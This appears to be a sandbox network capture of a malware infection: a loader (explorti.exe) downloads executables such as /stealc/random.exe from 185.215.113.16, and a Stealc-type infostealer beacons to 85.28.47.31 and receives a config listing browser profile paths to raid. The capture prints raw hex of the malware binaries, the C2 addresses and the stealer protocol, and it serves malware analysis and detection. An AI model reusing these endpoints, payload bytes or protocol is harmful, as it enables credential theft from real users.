Jul 26, 2024 08:57:30.894166946 CEST	381	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:57:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 62 66 0d 0a 20 3c 63 3e 31 30 30 30 30 30 32 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 33 39 31 30 65 35 65 62 66 35 64 65 30 34 33 34 39 30 32 35 30 38 30 64 39 23 31 30 30 30 30 30 33 30 30 32 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 38 66 64 61 37 64 66 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: bf <c>1000002001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca73910e5ebf5de04349025080d9#1000003002+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e8fda7df30804042ba5ce902415450#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49706	185.215.113.16	80	7840	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 08:57:30.906933069 CEST	57	OUT	GET /stealc/random.exe HTTP/1.1 Host: 185.215.113.16
Jul 26, 2024 08:57:31.692095995 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:57:31 GMT Content-Type: application/octet-stream Content-Length: 256512 Last-Modified: Fri, 26 Jul 2024 06:44:15 GMT Connection: keep-alive ETag: "66a345bf-3ea00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c3 7d b8 f5 87 1c d6 a6 87 1c d6 a6 87 1c d6 a6 e8 6a 7d a6 9c 1c d6 a6 e8 6a 48 a6 97 1c d6 a6 e8 6a 7c a6 e4 1c d6 a6 8e 64 45 a6 8e 1c d6 a6 87 1c d7 a6 f6 1c d6 a6 e8 6a 79 a6 86 1c d6 a6 e8 6a 4c a6 86 1c d6 a6 e8 6a 4b a6 86 1c d6 a6 52 69 63 68 87 1c d6 a6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 37 fc 16 65 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0a 00 00 18 02 00 00 92 03 02 00 00 00 00 5c 20 00 00 00 10 00 00 00 30 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 05 02 00 04 00 00 03 cc 04 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$}j}jHj\|dEjyjLjKRichPEL7e\ 0@pXdYS@0.text `.rdataX204@@.datapP@.rsrc@@
Jul 26, 2024 08:57:31.692125082 CEST	164	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 56 8b f1 c7 06 78 53 42 00 e8 96 06 00 00 f6 44 24 08 01 74 07 56 e8 13 0c 00 00 Data Ascii: VxSBD$tVY^4U( BeE$BV3W{EEu(BE?E,BE
Jul 26, 2024 08:57:31.692833900 CEST	1236	IN	Data Raw: 45 ec 20 00 00 00 c7 45 f4 02 00 00 00 83 45 f4 03 a1 f4 59 44 02 8b ce c1 e1 04 03 4d e8 3d a9 0f 00 00 75 0a c7 05 f0 59 44 02 40 2e eb ed 3d eb 03 00 00 75 07 83 25 7c 54 44 02 00 8b 45 f0 c1 e8 05 89 45 fc 8b 45 fc 03 45 e4 8b 55 f8 03 d6 33 Data Ascii: E EEYDM=uYD@.=u%\|TDEEEEU33+=YDYD=EuEP3PPPd0Bj0BEEEMEGaE33E+MuM{_3^UYDTDV3;SW=YDY
Jul 26, 2024 08:57:31.692903042 CEST	1236	IN	Data Raw: f4 59 44 02 e8 a3 fc ff ff bf 8f 07 03 00 81 3d f4 59 44 02 1f 05 00 00 75 0e 56 8d 85 fc f7 ff ff 50 ff 15 30 30 42 00 4f 75 e3 5f 33 c0 5e c9 c2 10 00 8b ff 55 8b ec 83 ec 20 83 65 e0 00 57 6a 07 59 33 c0 8d 7d e4 f3 ab 5f 39 45 0c 75 15 e8 ea Data Ascii: YD=YDuVP00BOu_3^U eWjY3}_9EuEtVuEuEuEPEEB$MxEEPjuYY^Uujuug]Au2BU}Wt-Vu
Jul 26, 2024 08:57:31.692919016 CEST	1236	IN	Data Raw: 45 14 76 21 83 fb ff 74 0c 53 6a 00 51 e8 29 2d 00 00 83 c4 0c 85 f6 74 c1 83 c8 ff 33 d2 f7 f7 39 45 14 77 b5 0f af 7d 14 f7 46 0c 0c 01 00 00 89 7d f0 8b df 74 08 8b 46 18 89 45 f4 eb 07 c7 45 f4 00 10 00 00 85 ff 0f 84 da 00 00 00 f7 46 0c 0c Data Ascii: Ev!tSjQ)-t39Ew}F}tFEEFtDFt=;r;}W6uu7,)~>}+)}};]r\}t3;vuu+;w;Ew[PuVoYP*t{td
Jul 26, 2024 08:57:31.693177938 CEST	1236	IN	Data Raw: 00 00 59 59 5d c3 6a 58 68 a0 55 42 00 e8 95 17 00 00 8d 45 98 50 ff 15 cc 30 42 00 33 f6 39 35 88 79 44 02 75 0b 56 56 6a 01 56 ff 15 c8 30 42 00 b8 4d 5a 00 00 66 39 05 00 00 40 00 74 05 89 75 e4 eb 36 a1 3c 00 40 00 81 b8 00 00 40 00 50 45 00 Data Ascii: YY]jXhUBEP0B395yDuVVjV0BMZf9@tu6<@@PEuf9@ut@v39@MujSY9ujBY6uyjY0ByD(6D%Cp5yjY-3yj*Yj(
Jul 26, 2024 08:57:31.693192959 CEST	1236	IN	Data Raw: 02 eb 02 8b ca f6 41 24 7f 75 9b 83 f8 ff 74 19 83 f8 fe 74 14 8b c8 83 e0 1f c1 f9 05 c1 e0 06 03 04 8d 60 68 44 02 eb 02 8b c2 f6 40 24 80 0f 85 71 ff ff ff 33 f6 3b fe 0f 84 67 ff ff ff 8a 17 33 c9 89 b5 dc fd ff ff 89 b5 e0 fd ff ff 89 b5 b4 Data Ascii: A$utt`hD@$q3;g39G9&B<Xw02B3P2BjY;$.@ tJt6t%
Jul 26, 2024 08:57:31.693207026 CEST	820	IN	Data Raw: ff ff 01 00 00 00 e9 ea 03 00 00 89 b5 c8 fd ff ff e9 df 03 00 00 a1 20 70 42 00 89 85 e4 fd ff ff 50 e8 08 09 00 00 59 e9 c8 03 00 00 83 f8 70 0f 8f f4 01 00 00 0f 84 dc 01 00 00 83 f8 65 0f 8c b6 03 00 00 83 f8 67 0f 8e 34 fe ff ff 83 f8 69 74 Data Ascii: pBPYpeg4itqnt(otaU3fG: tff@S
Jul 26, 2024 08:57:31.693480015 CEST	1236	IN	Data Raw: ff 8d 75 f3 8b 85 e8 fd ff ff ff 8d e8 fd ff ff 85 c0 7f 06 8b c7 0b c3 74 2d 8b 85 e0 fd ff ff 99 52 50 53 57 e8 81 46 00 00 83 c1 30 89 9d 9c fd ff ff 8b f8 8b da 83 f9 39 7e 06 03 8d b8 fd ff ff 88 0e 4e eb bd 8d 45 f3 2b c6 46 f7 85 f0 fd ff Data Ascii: ut-RPSWF09~NE+Ftbt90tW0@?If90t;u+(;u pBI8t@;u+}@t2t-t
Jul 26, 2024 08:57:31.693495989 CEST	1236	IN	Data Raw: c0 75 06 b8 94 71 42 00 c3 83 c0 0c c3 8b ff 55 8b ec 56 e8 e2 ff ff ff 8b 4d 08 51 89 08 e8 82 ff ff ff 59 8b f0 e8 bc ff ff ff 89 30 5e 5d c3 8b ff 55 8b ec 8b 55 08 56 57 85 d2 74 07 8b 7d 0c 85 ff 75 13 e8 9d ff ff ff 6a 16 5e 89 30 e8 41 ff Data Ascii: uqBUVMQY0^]UUVWt}uj^0A3Eu+@tOuugj"Y3_^]US]woVW=P%Cuj1hYYt3@Pj5P%C0Bu&j^9.CtSAY
Jul 26, 2024 08:57:31.697006941 CEST	1236	IN	Data Raw: 8b c7 c1 f8 05 c1 e6 06 03 34 85 60 68 44 02 8b 45 f8 8b 00 89 06 8b 45 fc 8a 00 88 46 04 68 a0 0f 00 00 8d 46 0c 50 ff 15 04 31 42 00 85 c0 0f 84 bc 00 00 00 ff 46 08 83 45 f8 04 47 ff 45 fc 3b fb 7c 8e 33 db 8b f3 c1 e6 06 03 35 60 68 44 02 8b Data Ascii: 4`hDEEFhFP1BFEGE;\|35`hDttNqFujXCP1BtBt>W1Bt3%>uN@uNhFP1Bt,FN@Ch5\hD0B3_[^

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49707	185.215.113.19	80	7840	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 08:57:33.012047052 CEST	182	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 30 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000002001&unit=246122658369
Jul 26, 2024 08:57:33.806507111 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:57:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49708	185.215.113.16	80	7840	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 08:57:33.828294039 CEST	55	OUT	GET /cost/random.exe HTTP/1.1 Host: 185.215.113.16
Jul 26, 2024 08:57:34.572191954 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:57:34 GMT Content-Type: application/octet-stream Content-Length: 91648 Last-Modified: Fri, 26 Jul 2024 06:15:46 GMT Connection: keep-alive ETag: "66a33f12-16600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 62 05 40 5d 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 02 32 00 0c 01 00 00 56 00 00 00 00 00 00 00 10 00 00 00 10 00 00 00 30 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 a0 01 00 00 04 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 7c 71 01 00 c8 00 00 00 00 90 01 00 9c 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELb@]2V0@\|qpt,.code78 `.textP< `.rdata304@@.data,pD@.rsrcV@@
Jul 26, 2024 08:57:34.572380066 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 68 ac 00 00 00 68 00 00 00 00 68 10 80 41 00 e8 5c 40 00 00 83 c4 0c 68 00 00 00 00 Data Ascii: hhhA\@hU@AhhhB@A?pA4AICZx}@Ck.pAA?h?<APAP1Phh
Jul 26, 2024 08:57:34.572415113 CEST	1236	IN	Data Raw: 01 00 00 00 68 04 00 00 00 e8 1e c7 00 00 8d 54 24 14 52 68 00 00 00 00 68 05 00 00 00 68 01 00 00 00 68 04 00 00 00 e8 00 c7 00 00 ff 74 24 04 e8 ad 86 00 00 8b 44 24 50 eb 02 31 c0 ff 34 24 e8 6d ca 00 00 50 ff 74 24 10 e8 30 c8 00 00 ff 74 24 Data Ascii: hT$Rhhhht$D$P14$mPt$0t$'X@_[]US$JuA2\|AuhAt1!&pAP5AB$D$$;D$RZPRZPfpAP
Jul 26, 2024 08:57:34.572839022 CEST	1236	IN	Data Raw: 00 c7 04 24 00 00 00 00 eb 00 b8 03 00 00 00 3b 04 24 7c 64 a1 34 80 41 00 0f be 00 89 44 24 04 ff 05 34 80 41 00 52 e8 e2 c4 00 00 5a 50 52 e8 da c4 00 00 5a 50 8b 5c 24 0c 6b db ff 53 e8 0b 44 00 00 8d 44 24 0c 50 e8 01 c5 00 00 8b 54 24 0c 52 Data Ascii: $;$\|d4AD$4ARZPRZP\$kSDD$PT$RZPROT$RED$P$qhD$RZPRzZPID$Pt$h$pAPt$ k6RKZPRCZPt$xxAPl5xA5xA
Jul 26, 2024 08:57:34.572873116 CEST	1236	IN	Data Raw: ff 74 24 10 e8 01 c1 00 00 83 c4 18 5b 5d c3 53 31 c0 50 50 e8 61 c1 00 00 ff 74 24 14 e8 38 33 00 00 52 e8 12 c0 00 00 5a 50 52 e8 0a c0 00 00 5a 50 e8 1b 78 00 00 8d 44 24 04 50 e8 39 c0 00 00 ff 34 24 e8 d8 34 00 00 8b 5c 24 10 21 db 7e 49 52 Data Ascii: t$[]S1PPat$83RZPRZPxD$P94$4\$!~IRZPMD$P$RZPRa*pARVT$RLD$P$RZPR/D$PT$R{ZPRXP\2Zf4$%t$[
Jul 26, 2024 08:57:34.572909117 CEST	1236	IN	Data Raw: 00 5a 50 52 e8 5d bb 00 00 5a 50 ff 74 24 1c e8 32 3d 00 00 e8 4f 2e 00 00 01 14 24 e8 c5 ad 00 00 8d 44 24 10 50 e8 7b bb 00 00 ff 74 24 0c 8b 54 24 04 59 e8 cd 2d 00 00 75 59 52 e8 25 bb 00 00 5a 50 68 10 00 00 00 52 e8 18 bb 00 00 5a 50 52 e8 Data Ascii: ZPR]ZPt$2=O.$D$P{t$T$Y-uYR%ZPhRZPRZP5Aht$j45dA-T$j-hhT$RZPRTXP-Zft$et$\4$Tt$K[S
Jul 26, 2024 08:57:34.573386908 CEST	984	IN	Data Raw: 2c 68 0a 00 00 00 ff 74 24 2c ff 35 54 80 41 00 e8 d9 28 00 00 89 44 24 30 83 7c 24 2c 00 0f 84 bd 00 00 00 ff 74 24 2c ff 35 54 80 41 00 e8 97 fe ff ff 89 44 24 34 ff 74 24 34 e8 c1 1e 00 00 99 52 50 8f 44 24 08 8f 44 24 08 8b 15 50 80 41 00 52 Data Ascii: ,ht$,5TA(D$0\|$,t$,5TAD$4t$4RPD$D$PAR;ZPRlAR\$$-AkURD$<PE5HAD$Pt$<Ot$t$t$<t$D[Au\$ -Akut$<{~\|$0$t$05T
Jul 26, 2024 08:57:34.573551893 CEST	1236	IN	Data Raw: 00 83 ec 04 c7 04 24 00 00 00 00 4a 75 f3 e8 e7 b3 00 00 8d 04 24 50 e8 00 25 00 00 8d 2c 24 66 83 7d 00 00 74 07 b8 01 00 00 00 eb 02 31 c0 83 c4 24 5d c3 31 c0 50 50 50 e8 bc b3 00 00 ff 74 24 14 e8 93 25 00 00 8b 54 24 10 8d 0c 24 e8 47 24 00 Data Ascii: $Ju$P%,$f}t1$]1PPPt$%T$$G$h'}oD$h't$t$$RAZPR9ZPht$oD$P_t$oT$RZPRXP$Z#f4$t$S1PPPPPPT
Jul 26, 2024 08:57:34.573585033 CEST	1236	IN	Data Raw: ff 34 24 e8 fb fd ff ff 89 44 24 04 52 e8 d4 ad 00 00 5a 50 ff 74 24 08 e8 ed f0 ff ff e8 e4 20 00 00 52 e8 be ad 00 00 5a 50 52 e8 b6 ad 00 00 5a 50 b8 24 70 41 00 50 ff 35 28 80 41 00 e8 78 62 00 00 8d 44 24 0c 50 e8 d9 ad 00 00 8b 54 24 08 31 Data Ascii: 4$D$RZPt$ RZPRZP$pAP5(AxbD$PT$1. FRZPRzZPRrZPRjZPh5HAU ${-D$PR;ZPR3ZPR+ZPR#ZPh5HA $4-D$P:RZ
Jul 26, 2024 08:57:34.573617935 CEST	1236	IN	Data Raw: 8b 2d a4 80 41 00 ff 75 0c e8 36 1b 00 00 eb e1 b8 01 00 00 00 eb 02 31 c0 83 c4 04 5b 5d c3 53 31 c0 50 50 e8 29 aa 00 00 ff 74 24 18 e8 00 1c 00 00 8b 54 24 14 8d 0c 24 e8 b4 1a 00 00 ff 74 24 10 31 db 3b 1c 24 75 24 52 e8 c3 a8 00 00 5a 50 52 Data Ascii: -Au61[]S1PP)t$T$$t$1;$u$RZPRZP)rD$P9;$u#xARZPR'D$P;$u)RhZPR`ZPhrD$P;$u)R5ZPR-ZPhqD
Jul 26, 2024 08:57:34.577786922 CEST	1236	IN	Data Raw: 44 24 24 50 e8 75 a4 00 00 52 e8 2f a4 00 00 5a 50 68 01 00 00 00 ff 74 24 28 e8 76 02 00 00 e8 3a 17 00 00 52 e8 14 a4 00 00 5a 50 68 00 00 00 00 ff 74 24 1c e8 5b 02 00 00 8d 05 5c 80 41 00 50 e8 38 a4 00 00 52 e8 f2 a3 00 00 5a 50 68 00 00 00 Data Ascii: D$$PuR/ZPht$(v:RZPht$[\AP8RZPht$ 9D$(PRZPht$$D$,PRZPht$D$0PRZPRZPRZP5pAp`pAPt$4cT$(+D$(PRH

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49709	85.28.47.31	80	8108	C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 08:57:34.974632978 CEST	86	OUT	GET / HTTP/1.1 Host: 85.28.47.31 Connection: Keep-Alive Cache-Control: no-cache
Jul 26, 2024 08:57:35.595494032 CEST	203	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 06:57:35 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 26, 2024 08:57:35.599545002 CEST	409	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGIJEGCGDGHDHIDHDGCB Host: 85.28.47.31 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 49 4a 45 47 43 47 44 47 48 44 48 49 44 48 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 37 33 38 34 38 32 34 39 30 33 42 33 30 32 33 30 31 31 38 35 39 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 4a 45 47 43 47 44 47 48 44 48 49 44 48 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 69 6c 61 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 4a 45 47 43 47 44 47 48 44 48 49 44 48 44 47 43 42 2d 2d 0d 0a Data Ascii: ------BGIJEGCGDGHDHIDHDGCBContent-Disposition: form-data; name="hwid"07384824903B3023011859------BGIJEGCGDGHDHIDHDGCBContent-Disposition: form-data; name="build"sila------BGIJEGCGDGHDHIDHDGCB--
Jul 26, 2024 08:57:36.008228064 CEST	407	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 06:57:35 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4f 57 4e 68 4f 54 4e 68 4d 6d 51 33 5a 6d 59 32 4d 57 56 69 4d 44 67 30 59 6d 59 30 59 6a 5a 69 59 7a 4d 78 4e 6a 4d 34 59 7a 5a 69 59 54 4d 78 4d 6a 64 6d 4f 57 55 31 4d 7a 6b 35 4f 57 56 69 4f 54 63 79 59 54 6b 34 5a 54 6c 68 5a 44 68 6a 4e 32 59 34 4d 32 5a 6b 4e 44 4d 30 5a 57 59 33 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 78 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: OWNhOTNhMmQ3ZmY2MWViMDg0YmY0YjZiYzMxNjM4YzZiYTMxMjdmOWU1Mzk5OWViOTcyYTk4ZTlhZDhjN2Y4M2ZkNDM0ZWY3fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwxfHlibmNiaHlsZXBtZXw=
Jul 26, 2024 08:57:36.018800974 CEST	466	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDBAKKKFBGDHJKFHJJJJ Host: 85.28.47.31 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 42 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 4a 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 63 61 39 33 61 32 64 37 66 66 36 31 65 62 30 38 34 62 66 34 62 36 62 63 33 31 36 33 38 63 36 62 61 33 31 32 37 66 39 65 35 33 39 39 39 65 62 39 37 32 61 39 38 65 39 61 64 38 63 37 66 38 33 66 64 34 33 34 65 66 37 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 4a 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 4a 4a 4a 2d 2d 0d 0a Data Ascii: ------GDBAKKKFBGDHJKFHJJJJContent-Disposition: form-data; name="token"9ca93a2d7ff61eb084bf4b6bc31638c6ba3127f9e53999eb972a98e9ad8c7f83fd434ef7------GDBAKKKFBGDHJKFHJJJJContent-Disposition: form-data; name="message"browsers------GDBAKKKFBGDHJKFHJJJJ--
Jul 26, 2024 08:57:36.200205088 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 06:57:36 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Jul 26, 2024 08:57:36.200221062 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
